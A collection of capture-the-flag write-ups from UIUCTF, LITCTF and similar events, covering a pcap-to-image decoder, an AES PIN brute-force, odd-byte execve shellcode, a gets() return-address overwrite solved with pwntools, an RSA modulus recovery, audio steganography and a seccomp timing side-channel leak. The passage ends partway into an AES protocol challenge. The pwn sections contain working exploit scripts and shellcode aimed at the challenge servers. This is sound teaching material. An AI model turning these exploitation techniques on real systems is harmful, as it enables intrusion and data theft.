As you can see there are 6 servomotors with ID and possition appearing in this list. We can remove motors 4,5,6 since they have constant position through the whole file. For the sake of simplicity let's assume they are a character break where our arm switches to writing next character. This leaves us with motors 1,2,3. Motor 1 has two possible values([2300,2400]). If we look at the arm scheme and arm images we can see that motor 1 closes and releses the clamp, so, probably, it controlls button on the laser engraver. So 2300 will be "laser off" mode and 2400 will be "laser on" mode. Motor 2 controls horizontal movement and motor 3 controlls vertical movement. Knowing all of this let's write a program that will draw our flag:```from scapy.all import rdpcapimport matplotlib.pyplot as plt\
import sys,osfrom PIL import Image
command_list=[]image_list=[]
pcap_f = rdpcap(r"./engraver.pcapng")for p in pcap_f: load = p.fields["load"] if load[14] != 0x09 or load[15] != 0x00 or load[16] != 0x00: continue
c = load[34:37] if not c: continue motor_num = c[0] offset = c[1] + (c[2] << 8) if(motor_num==5) or (motor_num==6): continue command_list.append(str(motor_num) + " " + str(offset))
plt.figure()plt.axis('off')plt.plot([-50,250],[1750,1750],'b', linewidth=5)plt.plot([-50,250],[1450,1450],'b', linewidth=5)plt.plot([-50,-50],[1750,1450],'b', linewidth=5)plt.plot([250,250],[1750,1450],'b', linewidth=5)
laser_on=Falseoffset_flag=Falsecur_coord_x=130cur_coord_y=170n=0drawing=Falsefor coords in command_list: if coords[0]=="1": if coords[2:]=="2400": laser_on=True else: laser_on=False if coords[0]=="4": if drawing: plt.savefig(f"./out{n}.png") n=n+1 drawing=False plt.close() plt.figure() plt.axis('off') plt.plot([-50,250],[1750,1750],'b', linewidth=5) plt.plot([-50,250],[1450,1450],'b', linewidth=5) plt.plot([-50,-50],[1750,1450],'b', linewidth=5) plt.plot([250,250],[1750,1450],'b', linewidth=5) if coords[0]=="2": new_coord=(1500-int(coords[2:])) if laser_on: drawing=True plt.plot([cur_coord_x,new_coord],[cur_coord_y,cur_coord_y],'r', linewidth=5) cur_coord_x=new_coord if coords[0]=="3": new_coord=int(coords[2:]) if laser_on: drawing=True plt.plot([cur_coord_x,cur_coord_x],[cur_coord_y,new_coord],'r', linewidth=5) cur_coord_y=new_coord images = [Image.open(f"./out{x}.png") for x in range(0,n)]widths, heights = zip(*(i.size for i in images))
total_width = sum(widths)max_height = max(heights)
new_im = Image.new('RGB', (total_width, max_height))
x_offset = 0for im in images: new_im.paste(im, (x_offset,0)) x_offset += im.size[0]
new_im.save('combine.png')```
-----Final image is not perfect but we can clearly see the flag. Knowing that the flag should be entered all in upper case and that it contains underscores but does not contain dashes we can combine the final flag. Some letters had to be replaced with numbers to get the final flag. The final flag is CTF{6_D3GREES_OF_FR3EDOM}
|
# [Easy] Identify Yourself (100 points)
> The smart city is implementing a digital identity to keep sensitive data away from the AI. Can you confirm that it is securely implemented?>> Author information: This challenge is developed by [Bob@DeloitteBe](https://www.linkedin.com/in/bob-van-der-smissen/).
- Decompile the APK- AES CBC mode- Initialisation Vector present- 4 digit pin repeated four times to create AES key- Bruteforcing all 4 digit positions -> 10^4 total combinations
```pyimport base64import string
from Crypto.Util.number import *from Crypto.Cipher import AES
with open('session.raw') as file: content = file.read().strip()
enc_key = base64.b64decode(content.split(':')[0])enc_data = base64.b64decode(content.split(':')[1])iv = b'1234567812345678'
for a in range(0, 10): for b in range(0, 10): for c in range(0, 10): for d in range(0, 10): pin = str(a) + str(b) + str(c) + str(d) key = pin * 4 cipher = AES.new(key.encode(), AES.MODE_CBC, iv) dec = cipher.decrypt(enc_key) cipher = AES.new(dec[:32], AES.MODE_CBC, iv) dec = cipher.decrypt(enc_data) if b'CTF' in dec: print('Pin:', pin) print(dec.decode())
``` |
### Writeup for "odd shell"
Description: O ho! You found me! I have a display of oddities available to you!
author: Surg
Mitigations:

Loading the binary in ghidra, we see the following in main: 
The binary reads in our input to the mmap'd chunk, then executesit ```(*(code *)0x123412340000)()```.
The only catch is that every byte ofour shellcode must be an odd number (probably the reason for the challenge name, 'odd shell')
This has the effect of blocking important instructions like
```movabs rdi, <ascii value of /bin/sh>```
```mov rax, rdi```
Recall that in order to execve /bin/sh, we need the following conditions to be true
* RAX == 0x3b* RDI == pointer to /bin/sh string* RDX == NULL* RSI == NULL
To get around these, I used some of the following substitute instructions for what was blocked:
* xchg instead of mov* mov with a general purpose register like r15 instead of rax* shr and ror (important for /bin/sh string)
Right before the shellcode is executed, observe that r15 == 0,so we can use push/pop instructions or xchg w/a zero'd register to zero out other registers.

The most difficult part of the challenge IMHO was getting the ascii value for /bin/sh (0x68732f2f6e69622f)in memory
Since 0x68 was a bad character, I followed this idea:
* r11 = 0x1* ch (16 bits of rcx) = 0x67* swap r11 and rcx* (r11 = 0x6700, rcx = 0x1 )* shift r11 8, so r11 = 0x67* r11 = r11 + rcx, so r11 = 0x68* ror r11 by 8, so r11 = 0x6800* ror r11 so that r11 == 0x6800000000* swap rdi with r11
Then, add the next 4 chars (0x732f2f2f6d) to rdi.Note, we have to change the 0x6e from the target valueto 0x6d to avoid having an even byte.
This was fixed with a single ```inc``` instruction
* mov r13, 0x732f2f6d* add r13, rdi (0x6800000000 +0x732f2f2f6d ) = 0x68732f2f2f6d* inc r13 (r13 = 0x68732f2f2f6e)* swap r13 and rdi
Next, we have to 'setup' a register so we can do a similar additionprocess for the last piece. Since 0x62 was a bad byte, I used 0x61in its place and fixed with ```inc``` similar to above. 0x1 is a dummy byte that will get lost in bit shifting. It was needed to prevent a null byte from appearing in the ```mov``` instruction.
(more pseudocode, read the script for full solution)
* mov r11, 0x69612f01* swap r13 and rdi* r13 (0x68732f2f2f6d) -> rotated 24 = 0x68732f2f6e000000 * r11 = 0x69612f0100 >> 8 = 0x69612f01 -> ror 8 -> 0x010000000069612f * inc r11* rotate + add r11 to r13, so r13 = 0x68732f2f6e69622f* xchg r13 and rdi
### Setting up args
* Now that we have the /bin/sh value in RDI, all we have to do is push a zero'd out register, then push rdi and rsp. Then pop into RDI so we have a valid pointer.
* Setting up RAX for a system call was fairly straight forward. 0x3b is the syscall number for execve, so I just put a 0x3b3b3b3b value in a register and shifted it left to become 0x3b. Then, swap with RAX.
### Popping a shell
* At this point, I ran the script and was getting a shell locally, but not on remote. Googling the problem reminded me that I forgot to duplicate the server socket so my shell could use stdin/stdout correctly. The solution required me to invoke ```dup2(stdin/stdout/stderr, 0x4, 0x0)```.
* I used 0x4 as the ```newfd``` argument for dup2. Not sure if you could use a higher number for the server socket, but it worked in my case.
* dup2's syscall number is 0x21, so I set up RAX similar to how I did for execve.
For stdin/stdout setup, the shellcode worked like this (high-level overview):
* RSI = newfd = 0x4* RDI = 0x00/0x1,0x2 (stdin,stdout, and stderr respectively)* RDX = NULL* set RAX = 0x21, then syscall
So, before the setup for execve with /bin/sh, I added the series of dup2() calls.
Once that was done, challenge solved.

uiuctf{5uch\_0dd\_by4t3s\_1n\_my\_r3g1st3rs!}
|
Downloading the zip file and extracting it, we find the executable and the C source.First, let's look at the C source for an idea of what it does:```c#include <stdlib.h>#include <stdio.h>
void cell(){ printf("Thank god you got him out of this cockroach-infested cell!\n"); FILE *f = fopen("flag.txt", "r"); char flag[64]; if(f == NULL){ printf("Something went wrong. Please let Eggag know.\n"); exit(1); } fgets(flag, 64, f); puts(flag); exit(0);}
int main(){ char buf[32]; printf("NOOOO, THEY TOOK HIM AGAIN!\n"); printf("Please help us get him out or there is no way we will be able to prepare LIT :sadness:\n"); gets(buf);}```Now it looks like that we're printing out some stuff then taking some input into `buf`, then exiting. We need to go to the `cell` function to get the flag though. But notice that we're using `gets` and `gets` is vulnerable to buffer overflows. So we can just overwrite the return address with the address of `cell`!
Now let's try to construct the payload. We need 32 bytes of padding obviously to fill up the buffer. After that, we have the saved `rbp`, which is `8` bytes, because this is an `x86_64` program, which you can confirm by disassembling it with `objdump` and seeing that it uses `64` bit registers. Finally, we need the address of `cell` as a 64 bit integer.
Now to find the address of `cell`, we need to disassemble the program, which we can do with `objdump -D ./save_tyger2`:```assembly...0000000000401162 <cell>: 401162: 55 push %rbp 401163: 48 89 e5 mov %rsp,%rbp 401166: 48 83 ec 50 sub $0x50,%rsp 40116a: bf 08 20 40 00 mov $0x402008,%edi 40116f: e8 bc fe ff ff callq 401030 <puts@plt> 401174: be 43 20 40 00 mov $0x402043,%esi 401179: bf 45 20 40 00 mov $0x402045,%edi 40117e: e8 dd fe ff ff callq 401060 <fopen@plt> 401183: 48 89 45 f8 mov %rax,-0x8(%rbp) 401187: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp) 40118c: 75 14 jne 4011a2 <cell+0x40> 40118e: bf 50 20 40 00 mov $0x402050,%edi 401193: e8 98 fe ff ff callq 401030 <puts@plt> 401198: bf 01 00 00 00 mov $0x1,%edi 40119d: e8 ce fe ff ff callq 401070 <exit@plt> 4011a2: 48 8b 55 f8 mov -0x8(%rbp),%rdx 4011a6: 48 8d 45 b0 lea -0x50(%rbp),%rax 4011aa: be 40 00 00 00 mov $0x40,%esi 4011af: 48 89 c7 mov %rax,%rdi 4011b2: e8 89 fe ff ff callq 401040 <fgets@plt> 4011b7: 48 8d 45 b0 lea -0x50(%rbp),%rax 4011bb: 48 89 c7 mov %rax,%rdi 4011be: e8 6d fe ff ff callq 401030 <puts@plt> 4011c3: bf 00 00 00 00 mov $0x0,%edi 4011c8: e8 a3 fe ff ff callq 401070 <exit@plt>...```(to intel assembly fans: there's no need here since we just need the address)
So the address is `0x0000000000401162`. Compiling this information into a solve script, we have:```python3from pwn import *s = b'a' * 40 # 32 + 8 = 40s += p64(0x401162)r = remote('litctf.live', 31788)print(r.recvuntil(b':sadness:\n'))print('Sending data')r.sendline(s)print(r.interactive())```Running, we get the output:```[+] Opening connection to litctf.live on port 31788: Doneb'NOOOO, THEY TOOK HIM AGAIN!\nPlease help us get him out or there is no way we will be able to prepare LIT :sadness:\n'Sending data[*] Switching to interactive modeThank god you got him out of this cockroach-infested cell!LITCTF{w3_w0nt_l3t_th3m_t4k3_tyg3r_3v3r_4gain}
[*] Got EOF while reading in interactive$```We have the flag! It's `LITCTF{w3_w0nt_l3t_th3m_t4k3_tyg3r_3v3r_4gain}`. (Hopefully CodeTiger will learn pwn next time.) |
As this challenge name implies, the problem comes from reversing the typicalchallenge of RSA. This time, rather than starting with a modulus and trying todiscover the private exponent, we are given the private exponent, and trying tofind the modulus.
As a reminder, once we find $N$, we can simply evaluate $c^d \mod N$ todetermine the final message.
First, we know that the relationship between $e$ and $d$ is that $ed \equiv 1\mod \phi(N)$. Translating this to plain algebra, this means $ed - 1 = k\phi(N)$for some positive integer $k$. This tells us that $ed - 1$ must divide$\phi(N)$.
We use an [external factoring service] to factor $ed - 1$. Using the`gen_prime` method given to us, we are able to validate that our factorizationended up being what was expected: exactly 16 64-bit primes, and a handful ofsmaller primes. The only thing left is organizing the 16 primes into two groupsof 8.
[external factoring service]: https://www.alpertron.com.ar/ECM.HTM
Trusty old combinatorics tells us ${16 \choose 8} = 12870$, which is easilyiterable within a matter of seconds. After picking 8 primes, we simply runthrough the same process as `gen_prime` in order to generate our $p$ and $q$:
```pythonfor perm in tqdm(perms): perm = set(list(perm)) p = prod(perm) q = prod(bigprimes - perm)
for i in range(7): if isPrime(p + 1): break p *= small_primes[i] for i in range(7): if isPrime(q + 1): break q *= small_primes[i]
p = p + 1 q = q + 1```
All that's left is to run $c^d \mod N$ and find strings that begin with`uiuctf{` to determine which of these organizations of prime factors is thecorrect one.
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/asr/solve2.py) |
# Audible Transmission, 100 points
## Flag 1
We upload a wav file.My first instinct is to analyze it with sonic visualization.

By doing SHIFT + G to add a spectrogram, we see this:

**Flag 1 : CTF{Tagalog}**
## Flag 2
After some research, Tagalog is the Filipino national language.
I also noticed that we hear a voice in the middle of the clip, but it's reversed.
I used the command:`sox SecretMessage.wav SecretMessageReversed.wav reverse`
Then I played the recording to Google Translate

**Flag 2 : CTF{649444}** |
# no-s-syscalls-allowed.c
### Beating an Over-Enthusiastic Seccomp Jail
The description for this challenge is as follows:

*"no cell phones sign on a wall"*
*No syscalls, no problem*
*author: kuilin*
This was a reasonably challenging shellcoding exercise; at the end of the competition, it was worth 205 points and had 35 solves. This was also a semi-block box challenge, in that we were given the source code of the binary without the compiled binary itself.
**TL;DR Solution:** Determine that the seccomp rules have disallowed all syscalls, but fortunately, the flag has been read into a global variable. Devise a timing attack to read out arbitrary bytes from the binary, use this technique to get a PIE leak from the stack, find the location of the flag global variable, and leak it out.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/UIUCTF22/no-syscalls-allowed.c
## Gathering Information:
Since only the source code is provided, we can start with a static analysis of that code. The source code shows a global variable called flag being initialized, into which the flag file is opened and read in the main function. Then, an rwx segment is mmapped, and 0x1000 bytes are read into that segment. Finally, a seccomp rule is called just before the newly mmapped code section is called as shellcode. This seccomp rule looks like it isn't providing any exceptions, which would make sense in light of the challenge's name and description. ```char flag[100];
void main(int argc, char *argv[]) { int fd = open("/flag.txt", O_RDONLY); read(fd, flag, sizeof flag);
void *code = mmap(NULL, 0x1000, PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); read(STDIN_FILENO, code, 0x1000);
if (seccomp_load(seccomp_init(SCMP_ACT_KILL)) < 0) return;
((void (*)())code)();}```In order to further confirm how the seccomp works, as well as provide a way to debug our shellcode locally, we can compile the sourcecode into a local binary. The sourcecode helpfully includes a comment indicating that the appropriate flags to do this are: "gcc no_syscalls_allowed.c -lseccomp -o no_syscalls_allowed". If we run seccomp-tools on the binary that this produces, we can see that there really does not appear to be any way around the lack of syscalls.```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/UIUCTF22$ seccomp-tools dump ./no_syscalls_allowedaaaaaaaaaaaaaaaaaaaaaaaaaa line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 0005 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x00 0xffffffff /* no-op */ 0005: 0x06 0x00 0x00 0x00000000 return KILL```
## Leaking Bytes
Based on the lack of any available syscalls, the flag cannot be read out directly. As a result, I opted instead to come up with a non-syscall-based shellcode timing attack. The general idea is to leak out bytes a single bit at a time. If the bit is zero, the shellcode should exit out almost immediately. If the bit is one, the shellcode should hang for long enough to be clearly differentiated from the bit = zero state. Once all 8 bits are leaked out, an entire byte will have been revealed, assuming that the byte in the selected location stays the same between runs.
In practice, my bit-leaking shellcode has a few steps:
1: Load the byte we want to start leaking into the al (low byte of rax, randomly chosen) register. This byte could be one pointed to by a certain register address, or the value of the register itself; since the compilation instructions don't include a -no-pie flag, we can assume that PIE is on on the remote server, ASLR affects every memory region, and we have no alternatives for finding valid addresses. In initial testing, I used the contents of the rip register, since that is guaranteed to be bytes of my shellcode regardless of compilation or library differences and thus will provide me with a good idea of my technique's accuracy.
2: Isolate the desired bit in the byte by shifting al right by the index of the bit (right to left, zero indexed), shifting the register left by seven, then right again by seven to get rid of additional bits. There are likely other operations that could derive similar results.
3: Create a massively increased lag in exiting out if the bit is 1. I accomplished this by multiplying the bit value in rax by a large number, specifically 0x20000000 but anything large would work, and setting up a loop with r11 as a counter that ensure a loop would continue with an inc on each iteration until the r11 register reaches the now-large value in rax. In order to ensure that each iteration of the loop takes a noticeable amount of time, a random imul is executed at each iteration of the loop.
4: Measure how long it takes the program to stop after the payload is sent. If it is short, the bit is zero, if long, the bit is one. I used a recvall() for this since it seemed like the easiest way to force a stop in the connection when the EOF is hit.
5. Do this for every bit in a chosen byte and return the full byte.
Here is the function I used to get single bits, with options available for register to start with, how far from the register to look, which bit of the byte to leak, and whether to run the program on local or remote:```def get_a_bit(register, reg_offset, bit, local): if local == 1: target = process('./no_syscalls_allowed') pid = gdb.attach(target, "\nb *main+160\n set disassembly-flavor intel\ncontinue") else: target = remote('no-syscalls-allowed.chal.uiuc.tf', 1337) payload = asm('mov al, BYTE PTR ds:[' + register + '+' + str(reg_offset) + ''']; xor r11, r11; shr al, ''' + str(bit) +'''; shl al, 7; shr al, 7; imul rax, 0x20000000 loop_start: cmp rax, r11; je loop_finished; inc r11; imul ebx, 0x13; jmp loop_start; loop_finished: ''') target.sendline(payload) current = time.time() print(target.recvall()) now = time.time() diff = now - current print(diff) if diff > 0.2: print('the bit is 1') return 1 else: print('the bit is 0') return 0 target.close()```And here, I add a function to leak out full bytes bit-by-bit, and call it on the byte contents of the rip register.```def get_a_byte(register, reg_offset, local): bit_string = '' for i in range(8): bit_string = str(get_a_bit(register, reg_offset, i, local)) + bit_string print(bit_string) return int(bit_string, 2)
local = 1
byte = hex(get_a_byte('rip', 0x0, 1))
print('current byte is', byte)```If I quickly run the program locally with a debugger on, I can confirm exactly which byte I should be getting on this and similar rip tests (i.e. BYTE PTR [rip] should reliably be 0x4d)``` 0x7ff954d9fffc add BYTE PTR [rax], al 0x7ff954d9fffe add BYTE PTR [rax], al 0x7ff954da0000 mov al, BYTE PTR [rip+0x0] # 0x7ff954da0006 โ 0x7ff954da0006 xor r11, r11 0x7ff954da0009 shr al, 0x0 0x7ff954da000c shl al, 0x7 0x7ff954da000f shr al, 0x7 0x7ff954da0012 imul rax, rax, 0x20000000 0x7ff954da0019 cmp rax, r11โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ threads โโโโ[#0] Id 1, Name: "no_syscalls_all", stopped 0x7ff954da0006 in ?? (), reason: SINGLE STEPโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ trace โโโโ[#0] 0x7ff954da0006 โ xor r11, r11[#1] 0x55ef9491626b โ main()โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโgefโค x/bx $al0x4d: Cannot access memory at address 0x4dgefโค x/8bx $rip0x7ff954da0006: 0x4d 0x31 0xdb 0xc0 0xe8 0x00 0xc0 0xe0gefโค```And here is how the program looks when run against the remote host:```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/UIUCTF22$ python3 no-syscalls-allowed_writeup.py[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.5909402370452881the bit is 1[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.08855581283569336the bit is 0[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.5963900089263916the bit is 1[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.5734691619873047the bit is 1[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.10383796691894531the bit is 0[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.08850741386413574the bit is 0[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.5867149829864502the bit is 1[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.09191155433654785the bit is 001001101current byte is 0x4d```Bytes are leaked out correctly, and the difference between 1 bits and 0 bits is large enough to be easily differentiated without resulting in an excessive pause between runs.
### Finding the Flag
This step required some creativity since I did not have access to the compiled binary that is running on the server. So, step one was to look at some of the interesting offsets on the locally-compiled binary as an approximation of what the remote might look like. The flag variable itself is a little over 0x4000 bytes from the start of the code section; based on my knowledge of how binaries are typically structured, it should remain in that general area between the remote and local binaries, just with some potential variance in exactly how far it is from the start of that memory section. I also noted that, as expected, there should be some PIE leaks in the stack, which rbp should be pointing to (there were also some registers with PIE addresses locally, but I decided this would be more reliable). From most of these PIE leaks, you could derive the start of the code section by nulling out the final three nibbles and subtracting 0x1000, and confirm whether or not this is correct by checking the contents for the ELF binary header.```gefโค x/s 0x56023f7490000x56023f749000: "\177ELF\002\001\001"gefโค x/8bx 0x56023f7490000x56023f749000: 0x7f 0x45 0x4c 0x46 0x02 0x01 0x01 0x00gefโค x/s 0x56023f74d0400x56023f74d040 <flag>: "flag{I_pwn3d_It}\n"gefโค x/20gx $rbp0x7fff06c41950: 0x0000000000000000 0x00007f4dbd78c0b30x7fff06c41960: 0x00007f4dbd9bc620 0x00007fff06c41a480x7fff06c41970: 0x0000000100000000 0x000056023f74a1c90x7fff06c41980: 0x000056023f74a270 0x9f4b0cefc30c6dde0x7fff06c41990: 0x000056023f74a0e0 0x00007fff06c41a400x7fff06c419a0: 0x0000000000000000 0x00000000000000000x7fff06c419b0: 0x60b50167f1cc6dde 0x61d0761e43c26dde0x7fff06c419c0: 0x0000000000000000 0x00000000000000000x7fff06c419d0: 0x0000000000000000 0x00000000000000010x7fff06c419e0: 0x00007fff06c41a48 0x00007fff06c41a58```So, I started leaking addresses from rbp, with a focus on the sixth byte of each 8-byte address area in order to determine which memory region the address is for. For the second address, that byte was 0x7f, indicating a libc or stack address. Then, for the third address, it was 0x55, indicating a PIE address.```byte = hex(get_a_byte('rbp', 0x10+5, 0))...[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.08438754081726074the bit is 001010101current byte is 0x55```I then got the low three nibbles of that PIE address as 098. ```byte = hex(get_a_byte('rbp', 0x10, 0))
print('current byte is', byte)
byte = hex(get_a_byte('rbp', 0x10 + 1, 0))
print('current byte is', byte)```I then used my PIE leak to get a leak for the beginning of the code section. To do this, I had to make new, slightly edited helper functions, the most notable of which appears at the start of the get_a_bit function to transfer the leak to an intermediary register and perform mathematical operations on it to make it the likely start of code area.:```def start_of_code_bit(reg_offset, bit, local): if local == 1: target = process('./no_syscalls_allowed') pid = gdb.attach(target, "\nb *main+160\n set disassembly-flavor intel\ncontinue") else: target = remote('no-syscalls-allowed.chal.uiuc.tf', 1337) payload = asm(''' mov rbx, QWORD PTR ds:[rbp+0x10]; sub rbx, 0x98; sub rbx, 0x1000; mov al, BYTE PTR ds:[rbx+''' + str(reg_offset) + ''']; xor r11, r11; ...```I then added some code to leak the first four bytes from this area:```header = ''for i in range(4): byte = (start_of_code_byte(i, 0)) header += chr(byte)print(header)```And it worked! The "\x7fELF" means that this is the very start of the code section.```...the bit is 1[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.10019659996032715the bit is 001000110\x7fELF```Finally, I can start trying to find the flag! I set up a script to leak a few characters in 0x10 byte increments, beginning from the start of my probably global variable area. If this wasn't working, I would have tried searching smaller increments, but I was hopeful that I would be able to find the flag more efficiently this way and it worked out well. Here is the code:```for i in range(0x0, 0x100, 0x10): test = '' for j in range(4): byte = (start_of_code_byte(i+j+0x4000, 0)) test += chr(byte) print(test) if 'uiu' in test: print('SUCCESS!!!') print('offset at', hex(i)) break```And I get a hit 0x80 bytes from the start of the section!```[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.09762144088745117the bit is 001100011uiucSUCCESS!!!offset at 0x80```Now I can get the full flag and win the challenge! Here is my final solve script, with prior steps commented out:```from pwn import *
context.clear(arch='amd64')def get_a_bit(register, reg_offset, bit, local): if local == 1: target = process('./no_syscalls_allowed') pid = gdb.attach(target, "\nb *main+160\n set disassembly-flavor intel\ncontinue") else: target = remote('no-syscalls-allowed.chal.uiuc.tf', 1337) payload = asm('mov al, BYTE PTR ds:[' + register + '+' + str(reg_offset) + ''']; xor r11, r11; shr al, ''' + str(bit) +'''; shl al, 7; shr al, 7; imul rax, 0x20000000 loop_start: cmp rax, r11; je loop_finished; inc r11; imul ebx, 0x13; jmp loop_start; loop_finished: ''') target.sendline(payload) current = time.time() print(target.recvall()) now = time.time() diff = now - current print(diff) if diff > 0.2: print('the bit is 1') return 1 else: print('the bit is 0') return 0 target.close()
def get_a_byte(register, reg_offset, local): bit_string = '' for i in range(8): bit_string = str(get_a_bit(register, reg_offset, i, local)) + bit_string print(bit_string) return int(bit_string, 2)
def start_of_code_bit(reg_offset, bit, local): if local == 1: target = process('./no_syscalls_allowed') pid = gdb.attach(target, "\nb *main+160\n set disassembly-flavor intel\ncontinue") else: target = remote('no-syscalls-allowed.chal.uiuc.tf', 1337) payload = asm(''' mov rbx, QWORD PTR ds:[rbp+0x10]; sub rbx, 0x98; sub rbx, 0x1000; mov al, BYTE PTR ds:[rbx+''' + str(reg_offset) + ''']; xor r11, r11; shr al, ''' + str(bit) +'''; shl al, 7; shr al, 7; imul rax, 0x20000000 loop_start: cmp rax, r11; je loop_finished; inc r11; imul ebx, 0x13; jmp loop_start; loop_finished: ''') target.sendline(payload) current = time.time() print(target.recvall()) now = time.time() diff = now - current print(diff) if diff > 0.2: print('the bit is 1') return 1 else: print('the bit is 0') return 0 target.close()
def start_of_code_byte(reg_offset, local): bit_string = '' for i in range(8): bit_string = str(start_of_code_bit(reg_offset, i, local)) + bit_string print(bit_string) return int(bit_string, 2)
#Verify leak methodology:'''byte = hex(get_a_byte('rip', 0, 0))print(byte)'''
#Search stack, manually incremented:'''byte = hex(get_a_byte('rbp', 0x10+5, 0))print(byte)'''
#Get final nibbles of PIE leak'''byte = hex(get_a_byte('rbp', 0x10, 0))print('current byte is', byte)byte = hex(get_a_byte('rbp', 0x10 + 1, 0))print('current byte is', byte)'''#Verify start of code section'''header = ''for i in range(4): byte = (start_of_code_byte(i, 0)) header += chr(byte)print(header)'''#Search for flag'''for i in range(0x80, 0x100, 0x10): test = '' for j in range(4): byte = (start_of_code_byte(i+j+0x4000, 0)) test += chr(byte) print(test) if 'uiu' in test: print('SUCCESS!!!') print('offset at', hex(i)) break'''
flag = ''for i in range(0x80, 0xb0): byte = (start_of_code_byte(0x4000+i, 0)) print('current byte is', hex(byte)) flag += chr(byte) print(flag) if byte == 0: print(i) breakprint(flag)```And here is how it looks when run:```...[+] Opening connection to no-syscalls-allowed.chal.uiuc.tf on port 1337: Done[+] Receiving all data: Done (30B)[*] Closed connection to no-syscalls-allowed.chal.uiuc.tf port 1337b'== proof-of-work: disabled ==\n'0.09932446479797363the bit is 000000000current byte is 0x0uiuctf{timing-is-everything}\x00156uiuctf{timing-is-everything}\x00```Thanks for reading! |
Disclaimer: The ASCII-Diagrams are properly rendered in the [original](https://ctf0.de/posts/uiuctf2022-mom-can-we-have-aes/).
------------
The challenge consists of two services communicating with each other: [`server.py`](https://2022.uiuc.tf/files/db45f0c6d5e88ae21c97ba4641f6971d/server.py) on port 1337 and [`client.py`](https://2022.uiuc.tf/files/ebccf298bcd26b5b2258ec4279202f2f/client.py) on port 1338.
# ServicesMost part of the provided services is used for initializing AES, which is done with a protocol very similar to TLS. In the following I will explain the initialization in the order of the communication and will therefore switch between `client.py` and `server.py`.
```goat.--------. .--------.| client | | server |'--------' '--------' | AES modes | | -----------------------------------> | | client random | | -----------------------------------> | | | | signed hash of certificate | | <----------------------------------- | | AES modes | | <----------------------------------- | | server random | | <----------------------------------- | | | | RSA encrypted premaster secret | | -----------------------------------> | | AES mode | | -----------------------------------> | | AES encrypted finish | | -----------------------------------> | | |
```
Both scripts start with the same imports and by defining the supported AES modes:```pythonfrom Crypto.Util.Padding import pad, unpadfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.Hash import SHA256from Crypto.Signature import PKCS1_v1_5
import randomimport string
from fields import cert, block_sizefrom secret import flag
cipher_suite = {"AES.MODE_CBC" : AES.MODE_CBC, "AES.MODE_CTR" : AES.MODE_CTR, "AES.MODE_EAX" : AES.MODE_EAX, "AES.MODE_GCM" : AES.MODE_GCM, "AES.MODE_ECB" : AES.MODE_ECB}```
The initialization begins at the client by generating four random characters and sending them together with the supported AES modes to the server. TLS uses much larger random values (32 byte) and will send some additional information such as the protocol version.```python########## Client Hello ########### Cipher suiteprint(*cipher_suite.keys(), sep=', ')
client_random = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(4))# Client randomprint(client_random)```
